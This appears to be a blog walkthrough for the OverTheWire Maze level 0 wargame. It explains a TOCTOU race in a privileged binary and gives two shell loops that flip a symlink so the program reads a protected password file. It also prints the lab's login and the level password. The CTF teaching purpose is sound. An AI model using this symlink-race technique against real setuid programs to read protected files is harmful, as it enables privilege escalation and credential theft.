Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Maze Level 0 tutorial!!

Login

ssh maze0@maze.labs.overthewire.org -p 2225
# password: maze0

Once logged in, you will find the binary /maze/maze0 and need to exploit it.

ssh

Task

The program maze0 checks for a specific file under /tmp and prints its contents if accessible. Decompiled pseudocode (simplified):

int main() {
  char buf[20];
  memset(buf, 0, 20);

  if (access("/tmp/128ecf542a35ac5270a87dc740918404", 4) == 0) {
    int fd = open("/tmp/128ecf542a35ac5270a87dc740918404", 0);
    if (fd < 0) exit(-1);
    read(fd, buf, 19);
    write(1, buf, 19);
  }
  return 0;
}

So the program:

  1. Checks if /tmp/128ecf542a35ac5270a87dc740918404 exists and is readable.
  2. Opens it and prints its contents.

We want it to read /etc/maze_pass/maze1, but maze0 itself has higher privileges than us.


A little bit of Theory

This is a TOCTOU (Time-Of-Check-To-Time-Of-Use) vulnerability, a classic race condition.

  • First the program checks (access()) if the file is readable.
  • Then it opens the same path.
  • If we swap the file between those two steps, we can trick it.

Key idea:

  • When access() runs, let the symlink point to something we can read.
  • Immediately after, flip the symlink to /etc/maze_pass/maze1.
  • If timed correctly, the open() will read the real password file.

Solution

We’ll use two loops in parallel:

Script 1: spam the vulnerable binary

while true; do
    /maze/maze0
done

Script 2: flip the symlink rapidly

while true; do
    ln -sf /etc/maze_pass/maze0 /tmp/128ecf542a35ac5270a87dc740918404
    ln -sf /etc/maze_pass/maze1 /tmp/128ecf542a35ac5270a87dc740918404
done

Explanation:

  • ln -sf creates a symbolic link (overwrite if exists).
  • We alternate between a file we can read (maze0) and the target password file (maze1).
  • Running both scripts together will eventually hit the right timing.

After a few tries, the program will print the contents of /etc/maze_pass/maze1.

Password obtained:

hashaachon

Troubleshooting

  • If nothing prints: make sure both loops are running in separate terminals.
  • If /tmp/... path disappears: just recreate it with ln -sf.
  • Race conditions are probabilistic — patience is part of the exploit 😉.

Congrats 🎉 You now have the password for maze1 and can move to the next level.


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with